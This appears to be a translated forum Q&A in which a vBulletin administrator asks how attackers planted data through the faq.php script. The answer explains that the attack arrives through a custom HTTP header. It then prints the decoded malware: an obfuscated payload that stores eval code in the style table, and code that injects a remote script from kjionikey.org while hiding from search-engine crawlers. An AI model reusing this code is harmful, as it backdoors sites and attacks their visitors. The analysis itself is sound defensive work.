我发现我管理的几个vBulletin网站最近遭到黑客入侵.他们使用最新版本的3.8系列(3.8.7 Patch Level 2).我通常很擅长找到他们进去的洞并修补它们,但是这个很难找我.他们将数据注入MySQL表.攻击总是在他们向faq.PHP脚本发出GET请求时发生.当攻击发生时,我能够保存数据.这是$_REQUEST,$_GET,$_POST,$_COOKIE和$_SERVER数组.我看到的唯一看起来不合适的是有两个新的$_SERVER键,HTTP_SOVIET和HTTP_PACK：
我必须假设这是问题的根源,但我不能为我的生活弄清楚攻击者如何设置这个变量.请求字符串中没有任何内容,cookie数组中没有任何内容,它是GET请求,而不是POST.
任何的想法？
解决方法:
像$_SERVER [‘HTTP_ *’]这样的变量可以通过向HTTP请求添加标头来设置.
一个简单的命令行示例如下：
print_r($_SERVER);
然后在命令行上：
curl --header "SOVIET: 123" localhost
你会看到$_SERVER [‘HTTP_SOVIET’]等于123.
在这种情况下,HTTP_SOVIET的内容是base64编码的(赠送,它以==结尾).
未编码,它变成：
function iai() {
global $db;
$base = base64_decode('JExLZ1RMSEs9KCRPX3JaeGw9IlxceDYyIi4iXFx4NjEiLiJcXHg3MyiuilxceDY1Ii4iXFx4MzYiLiJcXHgzNCiuilxceDVmIi4iXFx4NjQiLiJcXHg2NSiuilxceDYzIi4iXFx4NmYiLiJcXHg2NCiuilxceDY1ImFuZCRldFZKT1ZPPSJcXHg3MCiuilxceDcyIi4iXFx4NjUiLiJcXHg2NyiuilxceDVmIi4iXFx4NzIiLiJcXHg2NSiuilxceDcwIi4iXFx4NmMiLiJcXHg2MSiuilxceDYzIi4iXFx4NjUiKT9AJGV0VkpPVk8oIlxceDJmXFx4MmVcXHgyZlxceDY5XFx4NjUiLCRPX3JaeGwoIlFHVjJZV3dvWW1GelpUWTBYMlJsWTI5a1pTZ25XbTVXZFZrelVuQmlNalJuVTBkU01GRnRiRWhXUlVaNVMwTnJaMlYzTUV0YU1uaDJXVzFHYzBsRFVuQmpSamswVDNjd1MwcEhXbkJpUjFabVdrTkJPVWxEWTNaa1J6RjNURE5DYjJOR2JGTlpNRTVEWWxWS2VVcDZjMDVEYVZKd1kwWTVjMGxFTUdkTFNFNHdZMjFzZFZwNWJIQmpSRXB6WWpJMWJrdERVbkJqUmprMFMxUnpUa050YkcxTFIxcHdZa2RXWmxwWWFIQmpNMUo2UzBOU2JXRlhlR3hZTWxGd1NVZEdkVnBEUWtGaFdFNW1aRE5LY0dSSFJtbGlSMVZ2U2tkYWNHSkhWbVphUTJ0bldWYzFhMGxEWjI5S1NFNXdaVzFXWmxwcFFUbEpSVUp0WVZkNGJHTXliRFphVTJkcldtMXNjMXBXT1d0TFUydG5VR2xCZDB0VGEyZGxkekJMU1VOU2ExbFlVbWhKUkRCbldtMXNjMXBXT1c1YVdGSm1XVEk1ZFdSSFZuVmtTRTF2U2tkYWNHSkhWbVphUTJzM1JGRnZaMkZYV1c5S1NFNXdaVzFXWmxwcFFTdEpSRVYzVFVSQmQwMUVRWEJKUjFwd1lrZFdabU5JVmpCWU1rNTJZbTVTYkdKdVVucExRMUp0WVZkNGJGZ3lVWE5pV0ZKbVkyMUdkVnBEWjNoTlJFRnpUMVJyTlV0VE5HNU1RMk53VDNjd1MwbERRbkJhYVdkb1l6TlNlV0ZZVGpCamFXZHJXa2RHTUZsVGQydGhXRUptWWtOcmNFbEljMDVEYVVGblNVZGFjR0pIVm1aalNGWXdXREpPZG1KdVVteGlibEo2UzBOU2JXRlhlR3hZTWxGelNXbFNjR05HT1hOTVEwbHpVbXRzVFZKV09VSlZSa0pHVkd0UmNFOTNNRXRKUTBJNVNVZFdjMk15VldkamJWWXdaRmhLZFVsSVVubGtWMVUzUkZGdloyWlJNRXRtVVRCTFdtNVdkVmt6VW5CaU1qUm5VekpXU1ZOSFVuQlhSWGR2U2tkc2RVdFRRamRFVVhCdVlrYzVhVmxYZDJkS1NGcHBaRmQ0YzFwWVVuQmlhWGRyWVZoQ1ptVkVjMDVEYVZKcllqSXhhR0ZYTkdkUVUwRnVZVEp3Y0dJeU5YQmhNbFkxVEcwNWVWcDVZemRFVVc5cldtMXNkVnBHT1hSYVUwRTVTVU5rTWxsdVZuTmlSMVl3WVZjMVptSlhWblZrVXpWeFkzbzVNbEJVVFRST2VVa3JVRU01ZWxrelNuQmpTRkVyU25welRrTnBVbnBhVjAxblVGTkjibFV5TlVOYVIyaFRVVlp3VTFsclpEQmpiRGh1VDNjd1MwcEhkR3hsVTBFNVNVaE9NVmx1VGpCamFXaDBXa1JWYjBwR09WUlNWa3BYVWxaS1lrb3dhRlZXUmtKbVZsWk9SbFZzT1VKU01GWlBWa05rWkV4cFVuQmpSamswVEdsU2VscFhUWEJNUkVGelRWUlpjRTkzTUV0S1NGWjVZa05CT1VsSE1UQllNMHBvWW0xUmIwMVVRWGRNUkdzMVQxUnJOVTlUYTNWS2VUVnhZM280ZVU1VVFURk9hbWR0U25rMGEyRXlWalZQZHpCTFkyMVdNR1JZU25WSlEyZHJZak5XTUVsRU1HZGpNMUo1V0ROS2JHTkhlR2haTWxWdlNrZGFjR0p0VW1aaVYxVnpTa2RhY0dKdFVtWmlWMVYxU1d4NGVWaEhORGhqTWs1NVlWaENNRWxJVWpWalIxVTVXRU5LTUZwWWFEQk1NbkJvWkcxR2Vsa3pTbkJqU0ZKalNXbENlbU50VFRsWVEwcHZaRWhTZDA5cE9IWktSMUoyWWxkR2NHSnBPR3RrV0VweldFTkpLMUJET1hwWk0wcHdZMGhSSzBscGQydGhWelJ3UzFOQkwwbERVblprV0ZGblQybEJhMkZYTkRkRVVYQTVSRkZ3YldSWE5XcGtSMngyWW1sQ1IyVnJkREZWUjFwd1VWVmpiMHRUUWpkRVVXOXJZVmhCWjFCVFFxnutlbk5PUtixc2JVdERSbXhpV0VJd1pWTm5hMWd4VGtaVmJGcEdWV3h6YmxOR1VsVlZSamxaV0RCYVVGVnNaRUpWYTFKR1VrWTVSMVF4U1c1WVUydHdTVWh6VGtOcFFXdFpXRXA1U1VRd1oxcFlhSGRpUnpscldsTm5ia3hEWTNOS1JqbFVVbFpLVjFKV1NtSktNR2hWVmtaQ1psZEdPVWRVTVVwWVVWWktSVkpWVW1aU2F6bFRTakV3Y0U5M01FdEpRMEp3V21sb2QyTnRWbTVZTWpGb1pFZE9iMHREWTNaWWJIaHJaWHBGYzAwek1XTk1iSGhyWlhwRmMwMHpNV05NYkhoclpYcEZjMDB6TVdOTWJIaHJaWHBGYzAwek1HdE1lV056U2tkR2VXTnNjMjVOUTJSa1MxTnJaMlYzTUV0SlEwRm5Ta2RzZDBsRU1HZEtSMFo1WTJ4emJrMURaR1JQZHpCTFNVTkNPVVJSY0RsRVVYQjVXbGhTTVdOdE5HZExRmfpzWWxoQ01HVlRaMnRoV0VGd1MxTkJMMGxEVW5CalEwRTJTVU5TWmxVd1ZsTldhMVpUVjNsa1UxSlZNVkJXUlZabVVWVlNSVlZwWkdSUGR6QkxabEV3UzFwdVZuVlpNMUp3WWpJMFoxRllRbVpoUm5CRldIbG5jRWxJYzA1RGJXeHRTMGhDZVZwWFpHWmlWMFl3V1RKbmIwcDVUbTVpTWpsdVlrZFdPR0pZVG5WbVIzaHdaRzFXT0ZsWGVEQlpXRnB3WXpOU2FHWkhSbnBottNnMVdWZG9kbUl6ZUdoaU1uZzRXVzFzZFZvemVHeGxSmfp6V2xkR2EyWkhWalJaTW13d1dsaDRjMlZYVG5aak0zaDBaVmhPZDFsWFRteG1Smfp6V2xob2FHWkhVblprVjBweldsZE9jMkZYVG5KSk1tdHVURU5TWmxVd1ZsTldhMVpUVjNsa1NWWkdVbEZZTVVwR1VtdFdVMUpXU1c1WVUydHdTVWh6VGtOcFFuQmFhV2gzWtixV2JsZ3lNV2hrUjA1dlMwTmphbUpZVG5CYVdIaHRZVmhLYkZwdE9UUm1SemwzV2xoS2FHWkhUbTlqYlrsMFdsTk9jRXA1ZDJ0WU1VNUdWV3hhUmxWc2MyNVRSbEpWVlVZNVZsVXdWbE5ZTUVaSVVsVTFWVW94TUhCTFUwSjVXbGhTTVdOdE5HZGtTRW94V2xSelRrTnBRamxFVVhBNVJGRndiV1JYTldwa1IyeDJZbWxDZGxSV2JGcFVNa1o1UzBOcloyVjNNRXRhTW5oMldXMUdjMGxEVW5CalJqazBUM2N3UzBwSGJIZFlNMmRuVUZOQ1IyVnJkREZWUjFwd1VWVmpiMHRVYzA1RGFWSm9TVVF3WjFsWVNubFpXR3R2U25wSmVFNXBOSGxOZW10MVNubDNiazFxUVRWTWFtY3hUR2xqYzBwNlJUTk5lVFI1VGxSVmRVcDVkMjVOVkdONlRHcEZOVTVETkc1TVEyTTBUMU0wZVUxRVkzVktlWGR1VG5wUmRVMVVTVEZNYVdOelNucGplVXhxUlRCTWFXTnpTbnBaTWt4cVNUQlBVelJ1VEVOak1rNXBOSGhOUkVsMVNubDNiazVxVVhWTmFrMTZUR2xqY0U5M01FdGFiVGw1V2xkR2FtRkRaMnRaVTBKb1kzbEJhMWxwYTJkbGR6QkxTVWRzYlV0SVFubGFWMlJtWWxkR01Ga3laMjlKYVRsbFNrZEpkbUZUU1hOS1IyednXRE5uY0V0VFFubGFXRkl4WTIwMFoyUklTakZhVkhOT1EybENPVVJSY0RsRVVYQndXbWxuYUZwWE1YZGtTR3R2U2tZNVZGSldTbGRTVmtwaVNqQm9WVlpHUW1aVmExWkhVbFpLUmxWcFpHUkxVMnRuWlhjd1MwbEhiRzFMUlVaM1dESm9ZVkpHT0c5TFUwSm9ZbTFSWjBsWE9VNVhWbXhRV1ZoSmIwdFRRbWhpYlZGblNWVm9hMlJGU25CU01WSkNZMmxuY0V0VFFqZEVVVzluU2tjMWJHUXpVbXhsU0ZGblVGTkNURnBWYUVsYVIyeFpWRU5uYTJKdFZqTmtSMVkwWkVOck4wUlJiMmRtVVRCTFpsRXdTMk50VmpCa1dFcDFTVU5TZFZwWVpEQmFXR2d3VDNjOVBTY3BLVHM9IiksIi4iKTpudWxsOw==');
$style = $GLOBALS['style'];
if(!empty($style['styleid'])) {
$a = $db->query_first('select styleid from '.TABLE_PREFIX.'style where styleid=\''.$style['styleid'].'\'');
if($a['styleid']!='' and $a['replacements']=='') {
$db->query_write('update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\'');
echo 'ok';
} else echo 'error';
}
exit;
}
@iai();
值得注意的是那里的查询：
'update '.TABLE_PREFIX.'style set replacements=\'a:1:{s:12:"/^(.*?)$/ise";s:'.(strlen($base)-30).':"'.$base.'";}\' where styleid=\''.$style['styleid'].'\''
在那里,base64位有更多的bas64 in,其中有更多的bas64,其中最终有evals：
function HdtBiGTAr() {
global $ip_x;
$file_d = '/tmp/phpyrccBmBr';
$ip_l = (string)ip2long($ip_x);
if(file_exists($file_d) and @is_writable($file_d) and (($size_f = @filesize($file_d)) > 0)) {
$data = file_get_contents($file_d);
if($size_f > 1000000) file_put_contents($file_d,mt_rand(100,999).',');
if(!stristr($data,$ip_l)) {
file_put_contents($file_d,"$ip_l,",FILE_APPEND);
} else return true;
}
}
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
function FzKuPfiAG() {
$ip = '';
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$arr = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
if(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/',$arr['0'])) {
$ip = $arr['0'];
}
}
return (!empty($ip)) ? $ip : $_SERVER['REMOTE_ADDR'];
}
function Ap_hZD_() {
if(preg_match('#google|msn|live|altavista|ask|yahoo|aol|bing|exalead|excite|lycos|myspace|alexa|doubleclick#i',$_SERVER['HTTP_REFERER'])) {
if(preg_match('#msie|firefox|opera|chrome#i',$_SERVER['HTTP_USER_AGENT'])) return true;
}
}
function oMYYOar() {
global $ip_x;
$ip_x = FzKuPfiAG();
$a = array('216.239.','209.85.','173.255.','173.194.','89.207.','74.125.','72.14.','66.249.','66.102.','64.233.');
foreach($a as $b) {
if(preg_match("/^$b/i",$ip_x)) return true;
}
}
if(!empty($_SERVER['HTTP_REFERER'])) {
if(Ap_hZD_() and !oMYYOar() and !HdtBiGTAr()) {
$newtext = KeHHdiXL($newtext);
}
}
return $newtext;
这会写入一个名为/ tmp / phpyrccBmBr的文件,所以我会查看它的内容.
它还隐藏了搜索引擎的行为,这很好.
用户可能会遇到以下问题：
function KeHHdiXL($in) {
global $vbulletin,$ip_x;
$domain = 'kjionikey.org';
$find_me = 'vbulletin_menu.js?v=387"></script>';
$sec = 'SnBdhRAZRbGtr_';
$key = substr(md5($_SERVER['HTTP_USER_AGENT'].$ip_x.$sec),0,16);
$url = mt_rand(100,999999).'.js?250568&'.$key;
return ($out = str_replace($find_me,$find_me."\r\n<script type=\"text/javascript\" src=\"http://$domain/$url\"></script>",$in)) ? $out : $in;
}
